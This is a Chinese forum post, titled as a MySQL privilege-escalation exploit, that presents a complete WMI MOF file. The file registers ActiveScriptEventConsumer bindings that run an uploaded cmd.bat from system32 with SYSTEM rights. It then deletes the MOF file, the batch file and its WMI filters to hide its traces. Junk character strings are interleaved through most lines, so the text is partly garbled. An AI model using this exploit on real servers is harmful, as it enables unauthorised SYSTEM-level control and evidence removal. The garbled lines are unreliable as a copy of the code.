Mysql 提权即时无错Mof exp

admin

这个sql提权MOF需要运行 system下的文件，不能定义路径。
! [4 v6 f6 Q  ~( q. l+ D6 a需要将要运行的命令写入到bat上传到system32目录，然后执行。
2 {! W8 e. p. W: p; Z- j4 l: U
) g- C, o- M( t1 a! Y5 c这个sql提权MOF需要运行 system下的文件，不能定义路径。
需要将要运行的命令写入到bat上传到system32目录，然后执行。
9 D9 i  q; Z6 ]' ?9 @6 a8 m6 e
2 G: C8 t$ g. Z; Z4 J5 t/ M9 _: I#pragma
3 o7 N9 C" u( h                        namespace("\\\\.\\root\\cimv2")
' w- |# A0 \( I# m2 t3 r+ U8 h                        class
                        MyClass547
6 H; {2 g. V5 i# U                        {           [key]
                        string
0 R) V5 x2 _0 N) |+ D. b" m                        Name;
                        };
                        class
                        ActiveScriptEventConsumer
                        : __EventConsumer {          [key]
                        string
4 J; C$ j4 K7 I                        Name;           [not_null]
" U' V) E, ^* s; i& |                        string
                        ScriptingEngine;           string
# x. t! S. e6 r  t9 h( w2 ~                        ScriptFileName;           [template]
0 N" g* c# I! i; \) w                        string
; c/ p  K; |# j+ [/ c                        ScriptText;         uint32 KillTimeout;
                        }; instance of __Win32Provider as $P {
" N; _! X: _+ e. p; O- u                        Name
                        =
  O+ K0 s* K; B& U; x                        "ActiveScriptEventConsumer";     CLSID =
& i. e: O/ R6 o+ F9 r) `3 d                        "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
$ ]* ]. `9 Z- c: ?                        PerUserInitialization
                        = TRUE;
6 ?+ {1 t0 I, I9 u7 S                        }; instance of __EventConsumerProviderRegistration {         Provider
                        = $P;         ConsumerClassNames
                        =
                        {"ActiveScriptEventConsumer"};
% l% q$ r  U) w* w; V1 f) R) Z                        };
                        Instance of ActiveScriptEventConsumer
  w2 }; L; x( C& |2 G6 A1 m                        as $cons {         Name
; }, c) ?. R! I9 E" Q( @                        =
( _+ g# E* h/ Q5 h" n                        "ASEC";         ScriptingEngine
* w6 O: a* ^! A) _) x* S                        =
+ l( _! G' h$ N: I& J                        "JScript";         ScriptText
                        =
                        "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";          };
& y7 C6 D3 B' x# _                        Instance of ActiveScriptEventConsumer
7 h2 a9 B2 C1 a' @                        as $cons2 {         Name
                        =
# ~+ h5 Y) Q6 o/ e% u                        "qndASEC";         ScriptingEngine
/ y: \2 S- z0 L( j$ I8 f, B( E$ M/ r                        =
3 s( w$ l. ?8 R. Y                        "JScript";         ScriptText
                        =
) l% M" E  R+ \: z# V( n                        "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
5 O; N3 b+ X! \0 i, A; b9 o; {+ D                        }; instance of __EventFilter as $Filt {         Name
                        =
                        "instfilt";         Query
                        =
7 Y" \: u+ ~1 F- j6 b+ H9 p* h* ]- ]                        "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\"";         QueryLanguage
                        =
. M4 ~+ u( L  S) B& m                        "WQL";         }; instance of __EventFilter as $Filt2 {         Name
! x/ V+ _6 u7 m. U$ ^                        =
                        "qndfilt";         Query
                        =
                        "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\"";         QueryLanguage
, h& F- n  n* l8 J                        =
                        "WQL";          }; instance of __FilterToConsumerBinding as $bind {         Consumer
                        = $cons;         Filter
                        = $Filt;
                        }; instance of __FilterToConsumerBinding as $bind2 {         Consumer
& Y5 T) z4 Z/ m                        = $cons2;         Filter
$ `2 }; N0 C$ R+ X                        = $Filt2;
  e& P8 y6 w% M0 u: p7 K1 @# }1 \' i7 T6 x                        }; instance of MyClass547
  F0 @5 a9 h. N3 P" c# |% Z2 Q                        as $MyClass {         Name
- w! F- }; C3 e* i5 L1 V/ X                        =
3 m1 N( N: q9 Z/ e                        "ClassConsumer";
9 Q( s4 A0 i" X# H3 G6 g                        };